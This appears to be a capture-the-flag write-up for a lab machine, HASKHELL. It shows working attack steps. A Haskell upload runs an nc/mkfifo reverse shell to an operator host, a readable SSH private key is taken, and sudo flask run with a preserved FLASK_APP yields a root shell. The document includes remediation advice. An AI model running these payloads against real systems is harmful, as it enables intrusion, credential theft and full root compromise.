Case file

Haskell homework RCE, SSH key theft, and Flask FLASK_APP root

Intermediate Linux engagement: a Gunicorn homework uploader executed uploaded .hs files for RCE as flask; a readable prof SSH key yielded interactive access; sudo flask run with env_keep+=FLASK_APP spawned root Python.

Intermediate26 minLinux · Web · Haskell · Privilege Escalation
01

Engagement summary

Port 5001 accepted Haskell uploads that ran on the server. flask could read prof’s id_rsa. sudo flask run honored attacker-controlled FLASK_APP for a root shell.

HASKHELL (10.10.217.150) exposed OpenSSH and Gunicorn on 5001. /submit compiled and executed student .hs uploads — we submitted a Haskell payload that opened a reverse shell as flask. /home/prof/.ssh/id_rsa was readable; SSH as prof recovered the user artifact. sudo -l showed NOPASSWD /usr/bin/flask run with env_keep+=FLASK_APP. Pointing FLASK_APP at a Python file that spawned /bin/bash and invoking sudo flask run completed root.

Business impact

Executing untrusted student code is remote code execution by design. World-readable private keys defeat SSH. Preserving FLASK_APP under sudo turns Flask into a root interpreter. Sandbox or remove homework runners, fix key permissions to 600, and never keep attacker-influenced env vars in sudoers.

02

Haskell upload to reverse shell

Uploaded a .hs file that called nc; the submit endpoint executed it as flask.

OPERATOR · RECON

savvy@lab:~$ nmap -sSCV 10.10.217.150

22/tcp open ssh OpenSSH 7.6p1

5001/tcp open http Gunicorn 19.7.1

savvy@lab:~$ gobuster dir -u http://10.10.217.150:5001/ -w common.txt

/submit (Status: 200)

PAYLOAD

shell.hs

module Main where
import System.Process
main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc OPERATOR_IP 4444 >/tmp/f"

OPERATOR · SUBMIT

savvy@lab:~$ nc -nlvp 4444

# upload shell.hs via http://10.10.217.150:5001/submit

savvy@lab:~$ whoami

flask

03

Readable SSH key to prof

Exfiltrated /home/prof/.ssh/id_rsa and authenticated over SSH.

OPERATOR · KEY THEFT

savvy@lab:~$ ls -la /home/prof/.ssh/

-rw-r--r-- ... id_rsa

savvy@lab:~$ chmod 600 id_rsa && ssh -i id_rsa prof@10.10.217.150

savvy@lab:~$

04

sudo flask run with FLASK_APP

Exported FLASK_APP to a pty-spawning Python module and ran flask under sudo.

PAYLOAD

shell.py

#!/usr/bin/env python3
import pty
pty.spawn("/bin/bash")

OPERATOR · ROOT

savvy@lab:~$ sudo -l

env_keep+=FLASK_APP

(root) NOPASSWD: /usr/bin/flask run

savvy@lab:~$ export FLASK_APP=shell.py

savvy@lab:~$ sudo /usr/bin/flask run

root@lab:~# id

uid=0(root) gid=0(root) groups=0(root)

Remediation

Never execute uploaded source on the application host. Enforce 600 on private keys. Remove FLASK_APP from env_keep; if flask must run under sudo, pin a fixed app path owned by root.